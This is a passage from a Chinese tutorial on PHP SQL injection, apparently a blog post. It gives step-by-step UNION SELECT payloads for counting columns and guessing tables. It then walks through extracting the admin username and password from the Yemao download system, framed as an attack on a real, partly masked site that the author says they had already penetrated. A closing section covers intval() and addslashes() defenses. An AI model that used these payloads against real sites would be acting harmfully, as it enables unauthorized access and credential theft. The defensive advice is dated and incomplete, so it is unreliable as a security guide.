<p>　　有多少个“1”就表示有多少个字段，可以慢慢试，如果字段数不相同，就肯定会出错，如果字段数猜对了，就肯定会返回正确的页面，字段数出来了，就开始判断数据类型，其实也很容易，随便用几个字母代替上面的1，但是由于magic_quotes_gpc打开，我们不能用引号，老办法，还是用char()函数，char(97)表示字母“a”，如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)</span></td>
</tr>
</tbody>
</table>
<p>　　如果是字符串，那就会正常显示“a”，如果不是字符串或文本，也就是说是整形或布尔形，就会返回“0”，如图：</p>
<p>　　判断最主要靠什么？经验，我以前一直都说，经验很重要，丰富经验能更好的作出正确的判断，因为程序的代码是千变万化的，我们这里是只是举个最简单的例子，这里由于局限性，程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中，注意区别，不要照搬，灵活运用才是根本。</p>
<p><strong>4、猜数据表名</strong></p>
<p>　　在快速确定未知数据结构的字段及类型的基础上，我们又可以进一步的分析整个数据结构，那就是猜表名，其实使用UNION联合查询的时候，不管后面的查询怎么“畸形”，只要没有语句上的问题，都会正确返回，也就是说，我们可以在上面的基础上，进一步猜到表名了，比如刚才我们提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1 union select 1,1,1</span></td>
</tr>
</tbody>
</table>
<p>　　返回正常的内容，就说明这个文件查询的表内是存在3个字段的，然后我们在后面加入from table_name，也就是这样：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members<br />
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin<br />
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user</span></td>
</tr>
</tbody>
</table>
<p>　　如果这个表是存在的，那么同样会返回应该显示的内容，如果表不存在，当然就会出错了，所以我的思路是先获得有漏洞的文件所查询表的数据结构，确定结果后再进一步查询表，这个手工操作是没有效率的问题的，不到一分钟就可以查询到了，比如我们在测试www.***bai.net就是这样，后面的实例会涉及到。<br />
　　但是有一个问题，由于很多情况下，很多程序的数据表都会有一个前缀，有这个前缀就可以让多个程序共用一个数据库。比如：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">site_article<br />
site_user<br />
site_download<br />
forum_user<br />
forum_post<br />
……</span></td>
</tr>
</tbody>
</table>
<p>　　如果安全意识高的话，管理员会加个表名前缀，那猜解就很麻烦了，不过完全可以做一个表名列表来跑。这里就不多说了，后面会有一个具体的例子来解开一切迷茫^_^……</p>
<p><strong>实例</strong></p>
<p>　　下面对一个国内非常出名的站点进行善意的攻击测试，来对上面的知识进行一次大概的验证，出于影响等诸多因素，我们称这个站点为HB(www.***bai.net)，HB使用的是夜猫的文章系统和下载系统，不过文章系统已经升级了，我们就不看了，下载系统是绝对有问题的，不过由于我现在写文章的电脑不上网，我用相同的下载系统在本地进行一次模拟的测试。实际上，我事前早用更狠毒的技术渗透过HB。<br />
　　首先我们找到有问题的文件，show.php?id=1，我们马上看看数据结构和表名，看看HB有没有改字段和表名，我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段，就提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1</span></td>
</tr>
</tbody>
</table>
<p>　　注意，这里有19个“1”，返回正常的页面，我可以可以肯定字段没有变，我们也就别拖拉了，直接看看夜猫的默认用户数据表是否存在：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user</span></td>
</tr>
</tbody>
</table>
<p>　　正常返回，如图，如果URL不清楚可以看标题那里：</p>
<p>　　嗯，这个HB还真是够懒的，这么烂的程序也不知道先修改一下再用，不过也是，没有多少人和我一样有闲心先去加固程序才用的，再看默认的用户id还在不在？</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</span></td>
</tr>
</tbody>
</table>
<p>　　忘记了，就算不存在id为1的用户，前面的查询是真的，照样会正常返回数据库的软件信息，我们只能让前面的查询为假，才能使后面查询的结果显示出来，但我们要注意一点，show.php文件里面有这样一段代码：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">if ($id &gt; “0&#8243; &amp;&amp; $id &lt; “999999999&#8243; ):<br />
//这里是正确执行的代码<br />
else:<br />
echo “&lt;p&gt;&lt;center&gt;&lt;a href=./list.php&gt;无记录&lt;/a&gt;&lt;/p&gt;\n”;</span></td>
</tr>
</tbody>
</table>
<p>　　也就是说我们的ID的值再怎么离谱也不能在0和999999999之外，HB的软件肯定不会超过10000个的，我们就提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</span></td>
</tr>
</tbody>
</table>
<p>　　正常返回了，表格里的数据全部是“1”，说明ID还在哦。如果不存在的话，页面只返回的数据全部是不详，因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后，还要确定是不是管理员才行啊：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1</span></td>
</tr>
</tbody>
</table>
<p>　　程序规定groupid为1是超级管理员，既然都返回正确信息了，我们就直接构造畸形语句，暴出我们需要的用户名和密码，嘿嘿，首先看看ymdown表的数据结构，因为show.php是查询它的，所以我们应该看它的数据结构。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">CREATE TABLE ymdown (<br />
　id int(10) unsigned NOT NULL auto_increment,<br />
　name varchar(100) NOT NULL,<br />
　updatetime varchar(20) NOT NULL,<br />
　size varchar(100) NOT NULL,<br />
　empower varchar(100) NOT NULL,<br />
　os varchar(100) NOT NULL,<br />
　grade smallint(6) DEFAULT &#8217;0&#8242; NOT NULL,<br />
　viewnum int(10) DEFAULT &#8217;0&#8242; NOT NULL,<br />
　downnum int(10) DEFAULT &#8217;0&#8242; NOT NULL,<br />
　homepage varchar(100), demo varchar(100),<br />
　brief mediumtext, img varchar(100),<br />
　sort2id smallint(6) DEFAULT &#8217;0&#8242; NOT NULL,<br />
　down1 varchar(100) NOT NULL,<br />
　down2 varchar(100),<br />
　down3 varchar(100),<br />
　down4 varchar(100),<br />
　down5 varchar(100),<br />
　PRIMARY KEY (id)<br />
);</span></td>
</tr>
</tbody>
</table>
<p>　　用户名和密码的数据类型都是varchar，所以我们要选择ymdown表里数据类型是varchar来，如果把varchar的数据写到int的地方当然是不可能显示的了，由于updatetime（更新日期）的长度是20，可能会出现显示不完全的情况，我们就把用户名显示在name（软件标题）那里，密码显示在size（文件大小）那里好了，在19个“1”中，name和size分别是第二个和第四个，我们提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</span></td>
</tr>
</tbody>
</table>
<p>　　结果成功返回了我们所需要的用户名和密码，如图：</p>
<p><strong>验证测试结果</strong></p>
<p>　　整个渗透过程就结束了，不过由于黑白把入口给改了，无法登陆，但我们仅仅测试注入，目的已经达到了，就没有必要进后台了，我后来又继续构造SQL语句来验证我们获取的密码是否正确，依次提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49<br />
#验证第一位密码<br />
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50<br />
#验证第二位密码<br />
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51<br />
#验证第三位密码<br />
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52<br />
#验证第四位密码<br />
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53<br />
#验证第五位密码<br />
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54<br />
#验证第六位密码</span></td>
</tr>
</tbody>
</table>
<p>　　用select char(49,50,51,52,53,54)就可以得到123456。<br />
　　OK！测试结束，验证我们的结果没有错误。说明一下，密码本身是123456，可以不用ord()函数而直接猜，但为了大家能看到一个完整的过程，我还是“专业”一点好了。下面补一幅截图，是本文写完后，重新测试HB时截取的：</p>
<p><strong>注入的防范</strong></p>
<p>　　防范可以从两个方面着手，一个就是服务器，二个就是代码本身，介绍服务器配置的文章很多了，无非就是把magic_quotes_gpc设置为On，display_errors设置为Off，这里也就不在多说，既然本文接触都是程序的问题，我们还是从程序本身寻找原因。<br />
　　如果说php比asp易用，安全，从内置的函数就可以体现出来。如果是整形的变量，只需使用一个intval()函数即可解决问题，在执行查询之前，我们先处理一下变量，如下面的例子就是很安全的了：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">$id = intval($id);<br />
mysql_query(“SELECT * FROM article WHERE articleid=&#8217;$id&#8217;”);</span></td>
</tr>
</tbody>
</table>
<p>　　或者这样写：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">mysql_query(“SELECT * FROM article WHERE articleid=”.intval($id).”")</span></td>
</tr>
</tbody>
</table>
<p>　　不管如何构造，最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写，非常简洁。<br />
　　字符串形的变量也可以用addslashes()整个内置函数了，这个函数的作用和magic_quotes_gpc一样，使用后，所有的 &#8216; (单引号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php，就算magic_quotes_gpc打开了，再使用addslashes()函数，也不会有冲突，可以放心使用。例子如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">$username = addslashes($username);<br />
mysql_query(“SELECT * FROM members WHERE userid=&#8217;$username&#8217;”);</span></td>
</tr>
</tbody>
</table>
<p>　　或者这样写：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">mysql_query(“SELECT * FROM members WHERE userid=”.addslashes($username).”")</span></td>
</tr>
</tbody>
</table>
<p>　　使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把“_”、“%”转换为“\_”“\%”就可以了，当然也不要忘记使用addslashes()函数。具体代码如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">$keywords = addslashes($keywords);<br />
$keywords = str_replace(“_”,”\_”,$keywords);<br />
$keywords = str_replace(“%”,”\%”,$keywords);</span></td>
</tr>
</tbody>
</table>
<p>　　不用像ASP那样，过滤一点变量，就要写一大堆的代码，就是上面的一点点代码，我们就可以把本文所有的问题解决了，是不是很简便.</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/510.html" title="nginx详解">nginx详解</a> (0)</li><li>07/18/2009 -- <a href="http://www.crazylemon.net/web/1239.html" title=".htaccess使用指南">.htaccess使用指南</a> (0)</li><li>08/10/2009 -- <a href="http://www.crazylemon.net/mysql/1548.html" title="使用Navicat连接远程数据库2013错误">使用Navicat连接远程数据库2013错误</a> (0)</li><li>06/16/2009 -- <a href="http://www.crazylemon.net/nginx/670.html" title="nginx.conf &#8211; nginx配置文件说明">nginx.conf &#8211; nginx配置文件说明</a> (1)</li><li>06/06/2009 -- <a href="http://www.crazylemon.net/nginx/504.html" title="Nginx的WordPress配置">Nginx的WordPress配置</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/mysql/3455.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

